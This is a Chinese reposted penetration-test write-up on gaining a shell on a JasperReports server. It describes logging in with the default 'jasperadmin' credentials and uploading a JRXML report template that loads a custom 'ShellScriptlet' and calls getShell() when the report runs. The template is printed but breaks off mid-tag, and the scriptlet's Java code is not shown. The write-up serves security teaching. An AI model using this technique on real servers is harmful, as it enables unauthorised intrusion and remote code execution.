Hacking JasperReports-隐藏shell的特征

本文讲述了在渗透测试中发现的JasperReports服务器的安全隐患。通过编辑报告模板JRXML文件,插入Java代码实现ShellScriptlet,从而在报告运行时获取shell。详细介绍了如何创建和部署恶意报告,以及如何监听和接收shell。
摘要由CSDN通过智能技术生成

不久前,我的同事跟我在对一个客户端进行渗透测试。我们确实发现的一件事是,他们留下了几个联网的JasperReports服务器。寻找默认管理帐户的用户名并没有花费太多的精力。
login

也没有用多久我们就猜解出密码是“jasperadmin”

我从前听过JasperReports但从来没有碰到过要对它进行渗透测试。一个快速的google搜索也没有对前期工作产生多大的作用。尽管这个管理界面很不常见但是它也没有摆脱以某种方式来执行代码,所以顺利成章的我们开始在渗透旅程中把JasperReports渗透测试添加进“容易成功”的列表。
##代码和小脚本

JasperReports的目的是提取数据从各种各样的来源,例如:databases, xml, flat files等等,并且基于用户定义的模板用某种方式生成一份漂亮的报告。模板在JasperReports被定义为“JRXML”文件,任何拥有创建编辑报告权限的用户都可以上传它。

JasperReports的设计者允许数据在被包含在报告之前自定义操作。接下来就是利用一些小技巧用Java来编写一段脚本!我想也许你会看到这个。

我们的目标呢,就是创建一个报告模板(JRXML file)当然是依旧定制的恶意脚本,当它运行时,我们可以收到一个shell。这篇文章的其余部分将会详细描述我们是如何将脚本和报告模板联系到一起的。

##编辑模板

我们仅仅编辑一个存在的模板而不是创建一个。以下是我们将使用的模板。注意一下,过于复杂以及其中的90%是完全不必要的。下面这个只是一个带有“JasperStudio”的简单样本报告。35–42行是有趣的一个部分,我在这个部分插入了“ShellScriptlet”。

shell.jrxml

<? xml  version = "1.0"  encoding = "UTF-8" ?>
<!-- Created with Jaspersoft Studio version 6.0.1.final using JasperReports Library version 6.0.0 -->
<!-- 2016-10-04T14:01:12 -->
< jasperReport xmlns = "http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation = "http://jasperreports.sourceforge.net/jasperreportshttp://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name = "AllAccounts"  pageWidth = "595"  pageHeight = "842" whenNoDataType = "AllSectionsNoDetail"  columnWidth = "515" leftMargin = "40"  rightMargin = "40"  topMargin = "50" bottomMargin = "50"  isSummaryWithPageHeaderAndFooter = "true" uuid = "17f4b3c5-e096-4a65-b030-ed3bb58ce311" >
< property  name = "net.sf.jasperreports.export.pdf.tag.language" value = "EN-US" />
< style  name = "Sans_Normal"  isDefault = "true" fontName = "DejaVu Sans"  fontSize = "12" />
< style  name = "Sans_Bold"  fontName = "DejaVu Sans" fontSize = "12"  isBold = "true" />
< style  name = "Sans_Italic"  fontName = "DejaVu Sans" fontSize = "12"  isItalic = "true" />
< style  name = "PageHeader"  style = "Sans_Bold" forecolor = "#FFFFFF"  backcolor = "#333333" />
< style  name = "detail"  fontName = "DejaVu Sans" fontSize = "12" >
< conditionalStyle >
< conditionExpression > <![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]> </ conditionExpression >
< style  mode = "Opaque"  backcolor = "#E0E0E0" />
</ conditionalStyle >
</ style >
< subDataset  name = "Table Dataset 1"  uuid = "4fcc1d09-9859-48ee-bb6f-8d369bd49113" >
< queryString >
<![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]>
</ queryString >
< field  name = "name"  class = "java.lang.String" />
< field  name = "phone_office"  class = "java.lang.String" />
< field  name = "billing_address_city" class = "java.lang.String" />
< field  name = "billing_address_street" class = "java.lang.String" />
< field  name = "billing_address_country" class = "java.lang.String" />
< sortField  name = "billing_address_country" />
< sortField  name = "billing_address_city" />
< variable  name = "CityyNumber"  class = "java.lang.Integer" incrementType = "Group"  incrementGroup = "CityGroup" calculation = "Count" >
< variableExpression > <![CDATA[Boolean.TRUE]]> </ variableExpression >
< initialValueExpression > <![CDATA[new Integer(0)]]> </ initialValueExpression >
</ variable >
< group  name = "CityGroup" >
< groupExpression > <![CDATA[$F{billing_address_city}]]> </ groupExpression >
</ group >
</ subDataset >
< scriptlet  name = "ShellScriptlet" class = "foxglove.shell.ShellScriptlet" >
< scriptletDescription > <![CDATA[]]> </ scriptletDescription >
</ scriptlet >
< title >
< band  height = "79"  splitType = "Stretch" >
< textField >
< reportElement  x = "227"  y = "20"  width = "100" height = "30"  uuid = "32a2a8ff-d90a-48d7-b044-5325b5c6264f" />
< textFieldExpression > <![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]> </ textFieldExpression >
</ textField >
</ band >
</ title >
< pageFooter >
< band  height = "40" >
     < line >
< reportElement  x =
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值